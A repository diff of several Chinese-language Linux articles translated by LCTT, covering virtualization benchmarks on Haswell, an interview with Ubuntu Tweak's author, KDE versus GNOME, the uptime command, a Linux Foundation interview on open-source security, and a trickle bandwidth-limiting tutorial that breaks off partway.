在采用英特尔酷睿i7 “Haswell”处理器的Linux 3.9版本内核的Fedora 19上安装的KVMXen和VirtualBox的性能也和在没有任何形式的虚拟化或其它抽象层上运行基准测试的“裸机Bare Metal”的性能进行了对比。VMWare的产品没有在这篇文章里被测试因为它们的EULA特性限制了这种公开基准测试尽管VMware在过去可以让我们正常地做这样的基准测试并且它们的试用软件只能限制运行在四核CPU上。但以后的另外一篇文章会比较下在其它硬件上XEN/KVM/VMware的性能。
![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=9083341&p=2)
全部的Linux虚拟化基准测试采用完全自动化和可重复的方式进行处理使用开源软件[Phoronix Test Suite][3]并由[OpenBenchmarking.org][4]支持。在使用虚拟磁盘而且Xen/KVM都没有一个可靠的访问主机驱动或GPU的方法以使用3D功能的情况下这篇文章里的大部分基准测试都是集中在不同Linux虚拟化方法计算性能开销上。
![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=16f6601&p=2)
磁盘测试在这里并不是虚拟化测试的一个重点因为只有一个虚拟磁盘被主机的文件系统使用。然而当把这三种Linux虚拟化方法与裸机结果进行比较时运行在Linux 3.9内核上的KVM性能最好其次是Xen。Oracle的Virtual仅仅跑出了主机上PostMark邮件服务器性能的66%而KVM跑出了性能的96%Xen是83%。
![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=ee1f01f&p=2)
对于Dolfyn计算流体动力学的工作量当运行在KVM或Xen上时和裸机的运行结果相比并没有任何重大的变化。然而VirtualBox则是明显变慢了。
![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=1a54755&p=2)
![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=b3c948c&p=2)
FFTE和HMMer的结果和Dolfyn类似Xen和KVM用很小的开销获得很好的性能但Oracle的VirtualBox则慢得多。
![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=78137b2&p=2)
![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=0a735b7&p=2)
![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=8d2ce17&p=2)
当John The Ripper这个破解密码的程序在VirtualBox中运行时则直接崩溃了。
![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=6bd26cc&p=2)
运行TTSIOD渲染器时在Linux 3.9 内核的Fedora 19上运行的Xen虚拟化方法获得了它的第一次性能比拼的胜利。
![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=4a440fd&p=2)
![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=79113d7&p=2)
![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=505359a&p=2)
![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=1593a32&p=2)
![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=0f84676&p=2)
![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=3cde78a&p=2)
![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=fc3d96e&p=2)
![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=3e91cb0&p=2)
总之运行在搭载英特尔酷睿i7 4770K处理器Fedora 19上的Xen和KVM虚拟化技术工作良好。这些虚拟化方法在Haswell处理器上的性能开销是最小的。当Xen和KVM在这款全新的英特尔处理器上运行良好的时候Oracle的VirtualBox最新版本v4.2.16相对慢得多。虽然VirtualBox的一个优点是支持客户机3D加速但这会在未来的一篇Phoronix文章中再次进行测试。而把Haswell和前几代的英特尔处理器和AMD处理器比较不同虚拟化方法的性能开销也会在不久之后在Phoronix上进行测试。
--------------------------------------------------------------------------------
via: http://www.phoronix.com/scan.php?page=article&item=intel_haswell_virtualization
译者:[KayGuoWhu](http://github.com/KayGuoWhu) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://www.phoronix.com/scan.php?page=search&q=Haswell
[2]:http://www.phoronix.com/scan.php?page=news_item&px=MTM5MzU
[3]:http://www.phoronix-test-suite.com/
[4]:http://openbenchmarking.org/

View File

@ -0,0 +1,94 @@
专访Ubuntu Tweak的作者周鼎
================================================================================
[Ubuntu tweak][1] 是一款知名度很高的应用程序软件Ubuntu 用户可以用它来调整系统的性能、功能等各个细节。项目的创始人,周鼎又名 Tualatrix Chou ,正与我们分享 Ubuntu Tweak 的特性、使用感觉以及它跟 Canonical 的关系,并且勾勒了项目的未来计划蓝图。享受吧!
**你什么时候开始使用 Linux 的,并基于什么使你决定开发 Ubuntu tweak **
我开始使用 Linux 是在2006年底那时刚开始我的大学生活。当时我正在学 C 编程语言,一个朋友建议说要学习编程的话 Linux 是最好的平台环境,所以我就开始了我的 Linux 生涯,是从 Fedora Core 6 开始的。但用了仅仅只有一周的时间,我就换成 Ubuntu 6.10因为Ubuntu在中国有更好的社区也有更好更快的源库/镜像。我立马就爱上了 Ubuntu就一周时间就从 Windows 环境完全切换到 Ubuntu 环境。
在苦乐参半的半年使用时间后,我意识到 Ubuntu 对中国用户来说不是太友好,因为全新安装系统后,用户必须得自己配置字体、输入法以及其它很多很多设置。所以,我决定开发出一款应用程序来帮助新手,让他们很简单的就可以对系统做相应配置。
因此在2007年7月我就开始开发 Ubuntu Tweak刚开始的时候仅仅提供了汉语版本的但很快就考虑了 Ubuntu Tweak 的国际版本并且在2007年9月份就发布了首个国际版本。
**Ubuntu tweak 已经是非常成功的项目了。很多 Ubuntu 用户用它来调整系统的性能、功能等各个细节。能给我们谈论下 Ubuntu Tweak 能做些什么吗?**
![](http://180016988.r.cdn77.net/wp-content/uploads/2012/03/tualatrix1.jpg)
Ubuntu Tweak 可以用来切换桌面图标的显示方式、设置字体、启用/禁用多用户切换功能以及登陆的标识logo等等。
在最新的 Ubuntu Tweak 0.6版本中,你也可以调整你的 Unity 桌面以及关机功能。
你也能使用 Ubuntu Tweak 来清理系统的垃圾以释放空间和使系统保持干净。
**Canonical 在他们的默认发布源中不考虑加入 Ubuntu Tweak。这意味着什么这对那些没有经验但又想要使用你的应用程序来调整他们的系统的用户来说存在某些风险吗**
对的。因为在以前的 Ubuntu Tweak 发布版本中,为流行的 PPA 都提供了可用源,但我不能保证所有的 PPA 都是安全的,所以 Ubuntu Tweak 会有一些安全风险。
如你们所见从0.6版本后 Ubuntu Tweak 就已经移除了源中心Source Center。但请不要混淆“Ubuntu默认包含”和“加入源仓库”这两个概念。Ubuntu Tweak 首先应该要被加入通用资源仓库,然后才能被 Ubuntu 默认包含。
从错误报告和用户反馈来看Ubuntu Tweak 已经比老版本更加稳定及更易使用。
**你有收到来自 Canonical 和 Ubuntu 开发者的支持或有跟他们合作(不论什么)的事项吗,是哪些方面的?**
当然,我得到 Canonical 公司的一些帮助,他们试着帮我把 Ubuntu Tweak 放入源仓库。这工作现在仍然在进行。
也得到社区的很多热心帮助,他们帮我翻译、设计、测试、报告错误,甚至提交代码分支。
**开发 Ubuntu Tweak 的有多少人?**
如果你说的是“代码开发者”就仅仅我一个但我们有很多设计人员logo 是M.Sharp设计的Kevin Chou 帮助设计了 Ubuntu Tweak 的用户界面(UI)原型就是0.6版本的样子。现在 Jeonkwan Chan 正在帮我重新美化用户界面将会用在0.7版本上。任何人,只要愿意就可以加入到 Ubuntu Tweak 的开发中来:)
**在Ubuntu11.04版本中当 Unity 出现时,许多 Ubuntu 用户抱怨其可配置性不好,您对这个怎么看的?这个特殊的桌面环境能有些什么多适用性的配置能力呢?**
我喜欢桌面系统的可配置高适应性,这是 Linux 系统的优点,不是吗?
例如,我不喜欢 Unity Launcher 的自动隐藏功能,所以我设置让他不会隐藏。
事实上Unity 是可配置的,仅仅是它缺少 CompizConfig 设置管理器,所以你不能把 Unity Launcher 放到桌面底部或右面,这对左撇子来说很不友好。哈哈,开玩笑的。
如大家所见Ubuntu 12.04已经增加了隐藏/显示切换功能Launcher 的大小在系统设置中也可以自定义设置。我认为 Unity 将会有更多的可配置功能。
**一般来说,你认为 Canonical 公司开发 Unity 桌面环境是正确的决策吗?他们与 Gnome 开发者之间有合作争议,这有些是不可避免的吗?**
是的,对于 Canonical 公司来说,我觉得他们的决策很正确。回顾三年前,当 Ubuntu 首次引入基于 GNOME Panel 的Indicator ,它的设计就要比原来直接的 GNOME Panel 小程序更优雅。但 Canonical 开发者和 GNOME 开发者之间合作有些问题,因为他们从来没有着眼于 GNOME。直到 GNOME 3 的面世,情况才有所好转,它的 GNOME Shell 已经从 GNOME Panel 移出来了,并且 GNOME Shell 的面板已经和上面提到的 Indicator 用的是同一套设计方式。如果他们之间共用相同的 API 的话桌面Linux应该会更好用。
所以来自于公司、社区、GNOME 桌面等的不同的关于用户界面的见解,综合起来最终就形成了 Unity。
我认为这是好事。至少,到目前为至,比起 GNOME Shell 来说,我更喜欢 Unity。
**虽然你正在开发的是一款 Ubuntu 系统专用的程序,但我假设你为了使用更多的高级用户功能,会使用其它的发行版本。你会选择哪些发行版本呢?为什么?**
当然,我已经玩过 Fedora、Arch、 OpenSUSE特别是 Gentoo我已经整整使用了一年。它是我第二喜欢的 Linux 发行系统,因为它拥有一个最先进的包管理系统。
但现在我仅仅只使用 Ubuntu 的桌面版本和服务版,也使用 Mac OS X很多的设计灵感就来自于它 :)
**Ubuntu Tweak 能被优化或做几个分支或者改变一点点,以便能在其它的 linux 发行版本比如 Fedora、OpenSue 或者 Debian 上使用吗有做成统一的一个叫做“Linux Tweak”的应用程序用户不管选择什么样的发布版本或桌面环境都可以用这种想法吗不知道是否可行**
可以的,要让 Ubuntu Tweak 在其它发行版本中运行非常容易。它是模块化的,很轻松的就可以改造(hack)。
2008年的时候我就发布了一版 Fedora 的“Ubuntu Tweak for Fedora”但最终我放弃维护这个版本了因为我主要关注 Ubuntu 版本的,所以没有那么多精力。
**那 Ubuntu Tweak 的未来计划是什么?也许 Canonical 公司会内嵌进系统,然后把它做为发布版本默认的工具或者他们会基于他们自己的系统调整工具来使用它。您认为呢?您的下一步计划会是什么的呢?**
Ubuntu Tweak 的未来当然会一片光明。哈哈。
我已经开始实现把 Ubuntu Tweak 加入软件中心这个工作了。如果用户能从软件中心直接安装 Ubuntu Tweak它会更容易。
现在我正在开发0.7版本的,它将更美观,并且与 Unity 桌面的集成度更好也加入了一些很有用的新功能。我想使Ubuntu Tweak 在 Unity 桌面环境下尽可能的发挥作用。
跟随着 Ubuntu 12.04的发布,我也计划发布新的版本,希望大家喜欢 :)
还有一件事要透露下,我已经加入 Canonical 北京公司,负责处理 OEM 的事情。虽然 Ubuntu Tweak 仍是一个个人项目,我还没有参与进 Ubuntu 的开发任务,但有可能话我会试着加入开发团队 :)
**太伟大了!谢谢 Tualatrix。**
--------------------------------------------------------------------------------
via: http://www.unixmen.com/interview-with-ding-zhou-of-ubuntu-tweak/
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
译者:[runningwater](https://github.com/runningwater) 校对:[wxy](https://github.com/wxy)
[1]:http://ubuntu-tweak.com/

View File

@ -0,0 +1,81 @@
KDE vs GNOME: 设置,应用和小工具
=====================================
当提到桌面环境时对你来说选择一个合适的可能是个值得深思的个人问题。在这篇文章中我会比较Gnome和KDE这两种最为流行的Linux桌面环境之间的不同之处也会通过对比它们的优缺点来探究每一种桌面环境所能提供的功能。
###第一印象
第一眼看到桌面你可能会觉得KDE看起来比Gnome更光亮并提供一个更友好的科技外观。此外如果你习惯于Windows环境屏幕底部的菜单和按钮布局会让你感觉KDE看起来更熟悉一些。你可以很容易地找到Kmenu启动程序以及仅仅点击几下鼠标就能找到文档。
KDE的另一个重要和熟悉的好处是方便地在每个打开的文档、图片和应用中使用最小化和关闭按钮。对于那些习惯其它平台的人来说这些特性可能会认为是理所当然的。但是考虑到对于像Gnome这样不再提供一个真正的最小化选项的桌面来说这里是值得给予KDE支持的。
第一次加载进入Gnome 3如果你来自另一个平台它的桌面可能被认为是很奇怪的。像经典的Gnome一样你想访问的文档和工具并不位于屏幕的底部。让新手们感到更陌生的是关闭已经打开的窗口的方法是如此的“与众不同”。然而站在支持Gnome3的角度上我发现只要你习惯了这种新的做事方式会觉得这是一段相当愉快的经历。我所知道的已经试用过Gnome3的新用户们也普遍地感觉良好。
###小工具和扩展
随着我们深入了解Gnome和KDE提供的扩展和小工具这两种桌面环境之间的差别会越来越大。尽管它们都能提供你可以启动的附件以增强桌面体验但是它们在如何处理扩展功能上的分界并不相同。
KDE采用一种有趣的方式即你可以桌面小部件划分到称为“活动区”的分组中。这使得你可以创建一个包含一系列桌面小部件的活动区以处理特定的工作流。
相反地Gnome按照另一种方式定义活动区。Gnome使它的活动区更加基于任务和应用而不是以小部件为中心。例如如果我正在使用多个应用程序切换到Gnome活动区视图允许你能够可视化地、及时地访问每一个任务。
###设置你的桌面
虽然在通过GUI提供充足的设置方面Gnome做得越来越好但KDE依然是这个领域的王者。译注对于这一点不同的人有不同的看法。
使用KDE你可以通过设置去控制几乎桌面的每一个方面。一些诸如[OpenSUSE][1]Linux发行版通过紧密地把它们的工具 ([YaST][2]) 集成到KDE的设置环境中在这方面做得更好。
随着Gnome3之后的Gnome桌面更新我发现的最显著的地方是KDE正在通过易于使用的设置来提供更加强大的功能。Gnome往往把特定于应用程序的设置放在一个容易找到的每个应用程序的地方。
但是KDE倾向于为应用程序提供更细粒度的控制。我最喜欢的例子之一是[Kontact][3] vs [Evolution][4]。它们分别是Gnome和KDE上很强大的个人信息管理软件。但不同的是Kontact是一套附带为每个应用程序绑定一套控制的应用程序而Evolution只是拥有有限控制的单个应用程序。在其它特定于桌面的应用中[AmaroK][5] vs [Rhythmbox][6] 也是如此。
###文件管理
当涉及到为你的桌面寻找合适的文件管理器时Gnome和KDE提供的默认选择都能为你完成这项工作。[Nautilus][7]是Gnome的默认文件管理器而KDE提供[Dolphin][8] 作为它的默认文件管理器。
除此之外我发现Nautilus为Gnome用户提供一个光鲜的、易用的文件管理工具不会使Linux的新用户们不知所措。然而回到KDE上对于那些想要深入控制的人Dolphin是一个高度可配置的而不是适合新手的文件管理方案。
如果简单地观察每个文件管理器的侧边栏你会注意到Nautilus提供最直接的导航方式。但是KDE的Dolphin在诸如上一次使用文件的日期和其它相关选项的特性上做得更好。
如果你是高级的Linux用户你很可能发现自己被Dolphin吸引因为它提供了最多的选择和控制。对于那些不想通过复杂的控制导航文件的人Nautilus在简单性上更胜一筹。
###桌面应用
经常在Linux爱好者中引发分歧的一个话题是宣称某个桌面可以提供更好的默认应用。其实这就是Gnome和KDE当前所处的情况。
我在这个方面的发现是在一些方面Gnome不费吹灰之力就能胜出。例如GIMP、Evince和Pidegin相对它们在KDE上的同类来说更好用。而以我之见Kmail则是另一种应用程序它带给KDE的新用户们一个坏印象。像这类的应用过于复杂并且在一般情况下使用起来难以捉摸。
在另一方面也有一些有价值的地方来支持KDE。[Calligra][9] 对比 [AbiWord][10] 对于KDE来说是轻松取胜的因为[LibreOffice][11] 并不是一个“真正的”Gnome特有的应用。因为它是很多Linux发行版的默认套件而不是桌面环境的默认选择。
最后Linux最神奇的地方之一是你可以安装GTK或者Qt库享受最符合你需求的应用程序带来的好处译注即使用另外一种桌面的应用。对我自己我发现在大部分情况下Gnome的默认应用程序是明显的赢家。
###结语
如果我发现自己被困在一座岛上只有一种可用的桌面环境那它必须是Gnome。虽然我喜欢KDE的某些方面胜过Gnome但总体上我觉得Gnome可以花更少的功夫去持续使用。我常常发现使用KDE搞砸了一堆配置甚至更糟糕譬如奇怪的警告声称我的声卡找不到。在Gnome环境下我从没有遇到这些问题。
因为我珍惜我的时间和理智所以我会持续推荐使用Gnome而不是KDE同时在适当的时候建议一些KDE应用。对于任何声称KDE更容易使用的人我想说对于我而言从长远来看简单地学习Gnome的做事方法给我带来了更大的稳定性。
照片由[Shutterstock][12]提供。
---
via: http://www.datamation.com/open-source/kde-vs-gnome-settings-apps-widgets-1.html
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
译者:[KayGuoWhu](https://github.com/KayGuoWhu) 校对:[wxy](https://github.com/wxy)
[1]:http://www.opensuse.org/en/
[2]:http://en.opensuse.org/YaST_Software_Management
[3]:http://userbase.kde.org/Kontact
[4]:https://projects.gnome.org/evolution/
[5]:http://amarok.kde.org/
[6]:https://projects.gnome.org/rhythmbox/
[7]:http://en.wikipedia.org/wiki/Nautilus_%28file_manager%29
[8]:http://en.wikipedia.org/wiki/Dolphin_%28file_manager%29
[9]:http://www.calligra-suite.org/
[10]:http://www.abisource.com/
[11]:http://www.libreoffice.org/
[12]:http://www.shutterstock.com/pic-137314787/stock-photo-information-concept-golden-gears-on-digital-background-d-render.html

View File

@ -0,0 +1,51 @@
Linux Uptime 命令,让你知道你的系统运行了多久
================================================================================
![](http://linoxide.com/wp-content/uploads/2013/11/linux-uptime-command.png)
对于一些人来说系统运行了多久是无关紧要的,但是对于服务器管理员来说,这是相当重要的信息。服务器在运行重要应用的时候,必须尽量保证长时间的稳定运行,有时候甚至要求零宕机。那么我们怎么才能知道服务器运行了多久呢?
在Linux 下我们可以使用uptime 命令而且此命令不必使用root 权限。uptime 命令在系统中已经默认安装了。
语法如下:
$ uptime
你会在屏幕上看到如下显示:
![](http://linoxide.com/wp-content/uploads/2013/11/uptime.png)
这些信息保存在/proc/uptime 文件中虽然是以文本方式保存但是这些数据却不能直接显示这就需要我们使用uptime 命令来翻译它。
以下是如何解读uptime 提供的信息:
### 系统时间 ###
在图1中左起第一条信息是14:04:39这就是当前系统时间以24小时格式输出。
### 系统运行时间 ###
第二条信息**Up 1004 days, 12:20**这是显示你的系统运行时间。图1 显示你的系统已经运行了1004天12小时20分钟如果你的系统没有运行超过24小时这里将只会显示小时分钟或者只显示分钟。注意图2、图3的信息当系统重启后将会清零。
![](http://linoxide.com/wp-content/uploads/2013/11/uptime_minutes.png)
![](http://linoxide.com/wp-content/uploads/2013/11/uptime_hours1.png)
### 已登录用户的数量 ###
第三部分的信息是显示已登陆用户的数量。在图1中显示的是**1 user** 即当前登录用户数量。当多个用户在同时登陆系统时uptime 命令将告诉你用户的数量。
### 平均负载量 ###
最后一个信息是系统的平均负载量。回到图1你看到这样带两位小数的数字**0.25, 0.25, 0.19**可以换算成百分比即0.25和0.19分别代表着25%和19%。0.25, 0.25, 0.19分别代表着过去1分钟、5分钟、15分钟系统的平均负载量。负载量越低意味着你的系统性能越好。
这就是**uptime** 命令的日常使用指导,如果想获取更详细的信息,请通过输入**man uptime** 进入uptime 命令的manual 页面来查看。
你的机器已经运行多久了贴出你的uptime给大家看看吧。
--------------------------------------------------------------------------------
via: http://linoxide.com/linux-command/linux-uptime-command/
译者:[NearTan](https://github.com/NearTan) 校对:[Caroline](https://github.com/carolinewuyan)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出

View File

@ -0,0 +1,86 @@
Linux领袖说开源很安全Linux比其它任何系统都安全
================================================================================
在对Linux基金会执行官Jim Zemlin 的采访中VentureBeat 展望了2014年开源操作系统的未来。
访谈中我们也探讨了争议性的话题,就是政府部门的监听事件以及‘后门’-那些邪恶的窗口,窥探我们网上的私生活,最近公众发现我们经常使用的大多数服务都有类似的遭遇。
Zemlin 为我们解释了 GNU/Linux 为什么以及如何使它成为内心有些担忧的消费者的最安全的选择。还有就是为什么选择GNU/Linux作为能源汽车、手机、TV以及其它新兴设备的操作系统。
以下是我们完整的e-mail访谈实录
----------
**VentureBeat: 安全和隐私一直是本年度最热门的话题我们听到的谣言Linus[Torvalds, Linux 创始人]对政府部门是否有植入后门的要求点头称是。**
**Zemlin**: 如果Linux真有后门你应该知道的。
全世界的用户都可以看到Linux的每一行代码。这也是linux要比其他操作系统更安全、开源整体要比闭源更安全的原因之一。代码的透明度保证了它的安全性。
必须明确指出Linux没有后门。
**VentureBeat: Linux基金会如何保证Linux用户的隐私和自由使其免于遭受追踪和监视**
**Zemlin**: 对此我们一以贯之。向内核插入违反隐私权和背离自由精神的代码而不被成千上万的开发者注意到这是很难的。Linux的本性就是自我定制。
**VentureBeat: 今年的隐私/安全/监视事件会不会促使, 或者将会促使更多的消费者倾向于Linux对此你作何感想**
**Zemlin**: 世界范围内我听到人们都在说“用开源保证隐私是必须的。”的确那会促使更多的使用者选择Linux。
除了他们对linux平台下的隐私和安全持自信、信任的态度以外 我认为消费者会基于多种原因选择Linux。
代码的透明性以及开发过程逐渐给予日渐博学和警觉的消费者一个选择一个会让他们对linux感觉良好的选择。
[视频游戏发行商] Valve [及其SteamOS下的工作][1] 正在促使更多的消费者走进Linux就像逐渐占据主导地位的Android和其他运行Linux的电子设备一样比如电视、家电、汽车等当然还有更多。
**VentureBeat: 针对手机的Ubuntu Edge, 对它有何看法? 对于2014-2015年Linux/Ubuntu手机市场走势你作何预测**
**Zemlin**:我希望看到潜在的有趣的新产品进入市场尤其是基于Linux的产品。很难说每年哪款产品会成为手机市场的新宠。
我认为预测基于Linux的手机将占据主导地位不算夸大事实。Android, Tizen, Ubuntu, Firefox等等等等都显示出Linux可以驱动手机市场的创新并且为消费者创造新的体验为开发者和OEMs创造机会。
明年令人振奋的发展也是我所关注的就是linux和开源界如何把这些设备、对象和服务关联到一起。
**VentureBeat: 目前为止你看到的linux嵌入式车载系统的最令人激动的使用案例是什么**
**Zemlin**: 毫无疑问就是Cadillac, Tesla, Toyota, Jaguar, Land Rover等都搭建了车载信息娱乐系统。
比如,今年赢得了 “年度汽车族”奖项的Tesla Model S装备了一个17英寸平面、运行着定制Linux的电脑。这真的是太酷了。
2014年度汽车族刚刚揭晓 -- Cadillac CTS sedan, 也是使用linux作为车载信息娱乐系统。汽车制造商有能力使用linux进行创新并区别使用这些系统。
Linux的成功也能从来自IHS汽车的最新数据上看到IHS本月报告称在全球车载信息娱乐市场基于linux的汽车销量2020年有望达到5370万超过微软和黑莓QNX。
Linux基金会协同汽车级Linux工作组在该领域做了许多工作。通过在Linux内核社区其他开源社区以及汽车行业营造一个中立、支持性的环境我们能够帮助一些世界级巨头汽车制造商提高汽车Linux技术如日产捷豹路虎丰田等等。
**VentureBeat: 在硬核开发者市场以外Linux是如何发展壮大的尤其是考虑到消费者和游戏玩家**
**Zemlin**:可以肯定的是对游戏玩家来说今年确实是linux的一个转折点。Valve, 一个基于Steam网络平台的一个游戏厂商在linux上构建并运行所有的源代码和动画。Valve的CEO Gabe Newell 称今年的LinuxCon大会上他们在linux平台运行了198个游戏随着引进基于linux的Steam这个数字还会上升。这是Linux和游戏界新趋势的开端。
用户每天都在用linux。软件支撑着我们的日常生活。像GoogleFacebook还有Twitter等公司都建立在Linux和开源软件之上。去年10月份LinuxCon欧洲大会上来自Twitter的Chris Aniszczyk告诉听众
“Twitter 理所当然完全运行在linux上。为什么你们还需要其他的东西”(译注言外之意就是有linux就够了不需要别的什么东西了。)
如今Linux驱动着130万台日常所用Android手机每天近60万基于linux的新电视售出。新的家电以及汽车都建立在linux之上。主要交通系统也都在使用linux。最受欢迎的[GoPro 使用linux和开源软件][2]。这样的例子层出不穷。
Linux和开源理念将会逐渐融入主流消费者的生活。三星使用linux内核以及基于linux的产品充实它的产品线从电视机到手机再到家电等等等等。
敬请关注 - 未来你将看到更多实例展现了Linux和开源软件以及协同开发在日常生活中发挥越来越大的作用。
**VentureBeat: 在你看来到2014年免费和开源软件最大的机遇会是什么**
**Zemlin**: 我们已经谈到游戏和电子设备但是企业将会继续为linux呈现更多的机会。云计算的兴起为开发者带来新的机遇和挑战。你可以试着去找找不运行在linux上的公共云。
软件定义的网络SDN实现将成为2014年的主要活动之一。人们并没有期望着软件定义网络以及网络功能虚拟化变得多么大。想想吧。数十亿美元花费在硬件上交换机路由负载均衡器防火墙等等。这些都抽象成了软件。更更重要的是,它是在开源软件的基础架构甜蜜点OSS层被抽象。我认为你会看到像OpenDaylight项目以及其他项目在2014年都会有大的突破。
当然这只是实现协同发展的大趋势的一部分你的读者应该会对此感兴趣。我的推测是再过一个20年几乎所有的基础软件都会以协同开发的方式进行构建。2014年开发者需要学习如何以协同方式构建软件要学会如何参与开源项目并且贡献代码。如果开发者能够理解协同开发和开源的原则和理念那么他们职业生涯中的机遇将会是无穷的。
参与到linux的世界中来是一个激动人心的时刻。从智能手表到电视机到汽车只要你能想到Linux就能为你实现。
--------------------------------------------------------------------------------
via: http://venturebeat.com/2013/11/26/linux-chief-open-source-is-safer-and-linux-is-more-secure-than-any-other-os-exclusive/
译者:[l3b2w1](https://github.com/l3b2w1) 校对:[Caroline](https://github.com/carolinewuyan)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://venturebeat.com/2013/09/23/steamos-valves-linux-based-operating-system-for-the-tv-and-living-room/
[2]:http://gopro.com/support/open-source

View File

@ -0,0 +1,154 @@
Linux 下使用Trickle限制下载/上传带宽
================================================================================
你有没有遇到过一个程序占用了你所有的网络带宽的情况如果你遇到过那么你就需要限制带宽的应用。不管你是一个系统管理员还是一名普通Linux用户您都应该学习如何控制应用的上传和下载速度来确保你的网络带宽不会被一个程序耗光。
![](http://www.tecmint.com/wp-content/uploads/2013/11/Bandwidth-limit-trickle.png)
### Trickle 是什么? ###
**Trickle**是一款带宽控制供给,用来限制如**Firefox, FTP , SSH**以及其他使用网络带宽的程序的带宽。你希望你的**Youtube**音乐体验影响到你的ftp下载么如果不想请继续阅读这篇文章学习如何在你的机器上安装和使用trickle。
### 怎样在Linux上安装Trickle ###
trickle工具有一些依赖包安装和使用trickle之前必须安装“**libevent 库**”不过这个库在大多数现在的Linux机器上已经默认安装。
#### 在 Debian/Ubuntu/Linux Mint 上####
在**Debian/Ubuntu/Mint** 机器上运行 **apt-get install trickle**进行安装。请确保源列表已经更新,接着安装你想要的应用。
$ sudo apt-get update
$ sudo apt-get install trickle
#### 在 RHEL/CentOS/Fedora 上####
首先你需要更新系统,然后使用下面的命令安装trickle。
# yum update
# yum install trickle
### Trickle如何工作? ###
Trickle通过控制socket数据读写量来控制和限制应用的**上传/下载**速度。它使用另一个版本的**BSD**套接字API但是区别是trickle还管理socket调用。
要注意的是trickle使用动态链接和加载所以它只对于使用"Glibc库"的程序有用。由于trickle可以设置数据在socket上的传输延迟所以它可以用来限制一个应用的网络带宽。
### Trickle不能做什么 ###
Trickle不能用于限制使用**UDP**协议的应用的带宽,它只可用于**TCP**连接,但是你要知道它也并不是对所有的**TCP**连接有效。如果你一直仔细地看这篇文章你可以猜到原因是什么。你还记得trickle只对使用**Glibc库**应用有效吧?
还要说一下,trickle无法工作在使用静态链接的可执行程序上。
### 确定Trickle是否可运行在某个特定应用上 ###
既然trickle无法限制每个应用的**上传/下载**速度就应该有个方法找出trickle可以工作的应用。
**ldd**工具可以帮我们找出某个特定的程序是否使用了**libc.so**库。如果程序使用了这个库就可以使用trickle来限制它的网络带宽使用。
**ldd**命令用于打印每个程序需要的共享库。如果你是一个好奇的**Linux Geek**那么你可以使用man命令来找出关于ldd工具的更多信息。
# man ldd
**Filezilla**是一款使用ftp协议传输文件的程序trickle可以用来限制它的下载或者上传速度么在你考虑的时候我使用以下的命令来找出trickle是否可用于filezilla。
# ldd filezilla | grep libc.so
就我而言,它输出了如下:
oltjano@oltjano-X55CR:/usr/bin$ ldd filezilla | grep libc.so
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb6bc4000)
既然filezilla使用了“**libc.so**”库那么trickle可以用来限制它的网络带宽。这个方法可以用在任何你感兴趣的程序上。
### 学习如何使用Trickle ###
使用下面的命令输出trickle工具的**版本**。
root@oltjano-X55CR:~# trickle -V
trickle: version 1.07
Linux有很多命令行工具使测试(实验)变得有趣和美丽。下面的命令使用[wget 工具][1]来下载最新的Pear OS镜像.
root@oltjano-X55CR:~# wget http://sourceforge.net/projects/pearoslinux/files/Pear%20OS%208/pearos8-i386.iso/download
--2013-11-20 11:56:32-- http://sourceforge.net/projects/pearoslinux/files/Pear%20OS%208/pearos8-i386.iso/download
Resolving sourceforge.net (sourceforge.net)... 216.34.181.60
Connecting to sourceforge.net (sourceforge.net)|216.34.181.60|:80... connected.
HTTP request sent, awaiting response... 302 Found
Location: http://downloads.sourceforge.net/project/pearoslinux/Pear%20OS%208/pearos8-i386.iso?r=&ts=1384928843&use_mirror=kaz [following]
--2013-11-20 11:56:33-- http://downloads.sourceforge.net/project/pearoslinux/Pear%20OS%208/pearos8-i386.iso?r=&ts=1384928843&use_mirror=kaz
Resolving downloads.sourceforge.net (downloads.sourceforge.net)... 216.34.181.59
Connecting to downloads.sourceforge.net (downloads.sourceforge.net)|216.34.181.59|:80... connected.
HTTP request sent, awaiting response... 302 Found
Location: http://kaz.dl.sourceforge.net/project/pearoslinux/Pear%20OS%208/pearos8-i386.iso [following]
--2013-11-20 11:56:33-- http://kaz.dl.sourceforge.net/project/pearoslinux/Pear%20OS%208/pearos8-i386.iso
Resolving kaz.dl.sourceforge.net (kaz.dl.sourceforge.net)... 88.204.157.163
Connecting to kaz.dl.sourceforge.net (kaz.dl.sourceforge.net)|88.204.157.163|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1093664768 (1.0G) [application/octet-stream]
Saving to: download
0% [ ] 30,78,278 381KB/s eta 1h 50m
从输出可以看到,下载速度大约是**381 KB/s**。我想限制下载速度到**13 K/s**这样我就可以用我的带宽做其他的事情了。下面的命令用来限制wget速度到**13 K/s**。
